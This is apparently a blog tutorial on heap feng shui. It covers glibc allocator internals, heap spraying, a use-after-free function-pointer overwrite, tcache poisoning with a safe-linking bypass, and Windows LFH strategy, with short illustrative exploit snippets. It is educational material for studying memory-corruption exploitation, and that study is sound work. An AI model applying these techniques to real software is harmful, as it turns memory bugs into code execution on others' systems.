Heap Feng Shui: Controlling Memory Layout for Exploitation

Advanced heap exploitation techniques - understanding allocator internals, shaping heap layout, and achieving reliable exploitation through careful allocation patterns on glibc and Windows.

What is Heap Feng Shui

Heap Feng Shui is the art of manipulating the heap allocator’s state so that specific memory allocations land at predictable, attacker-controlled locations. The goal: when a vulnerability triggers (use-after-free, overflow, double-free), the corrupted memory overlaps with an object whose fields you control.

The name comes from the ancient practice of arranging space for optimal energy flow - here, we arrange heap memory for optimal exploitation flow.

glibc Heap Internals (ptmalloc2)

Chunks

Every malloc() allocation returns a chunk with metadata:

    +------------------+
    | prev_size (8B)   |  ← Only used if previous chunk is free
    +------------------+
    | size      (8B)   |  ← Chunk size + flags (PREV_INUSE, IS_MMAPPED, NON_MAIN_ARENA)
    +------------------+
    | user data        |  ← What malloc() returns (pointer to here)
    | ...              |
    +------------------+

Free Lists

When chunks are freed, they go into bins based on size:

Bin Type Size Range Structure Speed
tcache 0-1032 bytes Per-thread, LIFO linked list, 7 per size Fastest
fastbin 16-160 bytes LIFO linked list, no coalescing Fast
unsorted bin Any size Temporary holding, FIFO Medium
small bins 16-1008 bytes Doubly-linked, exact size match Medium
large bins >1008 bytes Sorted by size, best-fit Slow

Allocation Order

When you call malloc(size):

  1. Check tcache for exact size match
  2. Check fastbin for exact size match
  3. Check unsorted bin
  4. Check small/large bins
  5. Request memory from OS via sbrk/mmap

The Core Technique: Fill and Shape

Step 1: Spray to Fill Gaps

The heap starts in an unpredictable state. Allocate many chunks of your target size to consume existing free chunks and push the allocator into a known state:

// Spray 100 chunks of size 0x80 to normalize the heap
void* spray[100];
for (int i = 0; i < 100; i++) {
    spray[i] = malloc(0x80);
}

Step 2: Create the Target Hole

Free a specific chunk to create a “hole” in the heap. The next allocation of that size will land in this hole:

// Free chunk at a known position
free(spray[50]);  // Creates a 0x80-sized hole

Step 3: Replace with Controlled Data

When the vulnerability causes a new allocation of the same size, it fills the hole. If this is a use-after-free, the dangling pointer now points to your data:

// Victim code uses dangling pointer to spray[50]
// We allocate a new object that fills the same hole
struct evil* e = malloc(0x80);  // Lands where spray[50] was
e->vtable = &fake_vtable;       // Control the vtable pointer
// Victim uses dangling pointer → calls our vtable → RCE

Practical Example: Use-After-Free Exploitation

The Vulnerability

struct User {
    char name[32];
    void (*greet)(struct User*);  // Function pointer at offset 32
};

// Bug: user is freed but pointer isn't nulled
struct User* current_user;
void delete_user() {
    free(current_user);
    // current_user not set to NULL → use-after-free
}

Exploitation Steps

# 1. Create a user (allocates ~40 bytes)
create_user("AAAA")

# 2. Delete user (frees the chunk but pointer remains)
delete_user()

# 3. Spray objects of the same size to fill the freed slot
# The new allocation overlaps the old User struct
payload = b"A" * 32 + p64(win_function)  # Overwrite greet() pointer
create_note(payload)  # Same malloc size as User struct

# 4. Trigger the dangling pointer
greet_user()  # Calls current_user->greet() → win_function()

Tcache Exploitation (glibc >= 2.26)

Tcache Poisoning

The tcache free list stores forward pointers. Corrupt a freed chunk’s forward pointer to redirect the next allocation:

# 1. Allocate and free two chunks (they enter tcache)
a = malloc(0x80)  # tcache[0x80]: empty
b = malloc(0x80)
free(b)           # tcache[0x80]: b → NULL
free(a)           # tcache[0x80]: a → b → NULL

# 2. Overflow from adjacent chunk to corrupt a's forward pointer
overflow_write(a, p64(target_address))
# tcache[0x80]: a → target_address

# 3. Allocate twice: first gets 'a', second gets target_address
malloc(0x80)  # Returns 'a'
evil = malloc(0x80)  # Returns target_address → arbitrary write

Safe-Linking Bypass (glibc >= 2.32)

Modern glibc XORs the forward pointer with chunk_address >> 12:

# Mangled pointer = real_pointer XOR (chunk_address >> 12)
# To forge a valid pointer, you need a heap leak

heap_leak = leaked_address
heap_base = heap_leak & ~0xFFF  # Page-aligned
mangle = target_addr ^ (chunk_addr >> 12)
overflow_write(a, p64(mangle))

Windows Heap: Low Fragmentation Heap (LFH)

Windows uses LFH for small allocations. Unlike glibc, LFH randomizes allocation order within a bucket, making Feng Shui harder.

LFH Activation

LFH activates after 18+ consecutive allocations of the same size. Before that, the NT heap’s backend allocator is more predictable.

Windows Strategy

  1. Pre-activate LFH by making 18+ allocations of target size
  2. Spray heavily - LFH buckets contain many slots, so you need more allocations to fill them
  3. Use deterministic objects - Some Windows objects (like BSTR strings, TypedArray in browsers) have more predictable allocation behavior

Tips for Reliable Exploitation

  1. Match allocation sizes exactly - Use malloc_usable_size() to check actual chunk sizes
  2. Account for metadata - malloc(n) allocates n + 16 bytes (8B prev_size + 8B size)
  3. Align to chunk boundaries - Chunks are 16-byte aligned on 64-bit systems
  4. Fill tcache first - tcache holds 7 per size class. Fill it to force fastbin/unsorted bin behavior if needed
  5. Use stable spray objects - Choose objects with known, fixed sizes. Strings, arrays, and custom structs work well
  6. Test determinism - Run your exploit 100 times. If reliability is below 90%, your Feng Shui needs work

Heap exploitation is ultimately about controlling probability. Heap Feng Shui transforms a random crash into a reliable exploit by making the heap layout deterministic. Master the allocator internals for your target platform, and the exploitation becomes mechanical.

← Home More Binary exploitation →